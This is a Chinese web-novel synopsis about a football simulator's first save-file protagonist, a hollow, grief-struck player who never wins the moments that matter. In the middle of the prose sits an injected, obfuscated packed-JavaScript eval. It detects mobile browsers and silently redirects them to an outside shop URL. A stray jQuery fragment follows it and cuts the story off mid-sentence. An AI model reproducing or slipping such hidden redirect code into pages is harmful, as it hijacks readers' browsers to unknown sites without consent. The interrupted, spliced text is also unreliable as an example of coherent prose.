在横扫天下的玩家称霸模拟器之前，总有一两个被牺牲用来练手的存档吧。
主角是玩家的第一个存档，在接近20岁的时候玩家才刷够数值，磕磕绊绊地踏上职业之路，勉强算是大器晚成的励志故事。
但是主角老是输，拼尽全力仍然受限于天赋的乏困。
足球的妙处在于：它太长了，又太短了。二十年职业生涯，一周两赛，一年五十场，五百场球。每一场九十分钟，加起来十几万分钟。但真正决定命运的也许就那么三五个瞬间——一个点球、一次滑铲、一脚慢了几厘米的射门。
主角就是把这十几万分钟全部走完的人。每一步都是他替玩家踩出来的路。但他永远不会知道这件事的意义。对他来说，那些输就是输本身。
玩家第一个存档还没有读档的功能，无论发生了什么，无论是什么伤病，无论是谁永远离开了主角都没办法重来。
他的妻子早早离逝，长女在一次疏于看顾时走失，幼子早夭。
主角在接连痛苦的打压下只能绝望地、挣扎着活下去。
【意志力:max】【快乐值:1/10】
努力在游戏里是会有结果的，主角永远在进步。玩家再怎么菜也会有自己的冠军。
在主角事业有所成就后，他的身上仍然有挥之不去的颓废感。有人评价他身上有无论面对什么样的命运都波澜不惊的坦然，有人说:那fuck是心死了！
严格来说他是由AI操控的，所以主角其实是一款空心人。
主角分明就在你的眼前，却常给人一种浮游感。无论是温和的笑容，还是悲伤的神情，情绪都仿佛皆若空
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884461|212500||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
游无所依。
世界与你到底哪个才是一场梦呢？
主角永远只是闷闷的小声的笑，于是队友第一次听见主角鲜活的大笑时就愣住了，他说我真希望你永远这么幸福。
主角顿了一下，他缓慢地回头看了队友一眼，摇了摇头。
*
新赛季俱乐部买了一个十九岁的妖星中场。因为风格很像，媒体叫他下一个主角，转会费创了队史纪录。
有人问主角：“你觉得他像不像当年的你？”
主角想了很久，久到对方以为他不会回答了。
“不像，”他轻声说，“我没有过那样的时刻。”
他在年少时受尽折磨，如今走在职业尽头，结局似乎也不足以这匹配颠沛流离的一生。
其实一切不过是愚人自扰罢了。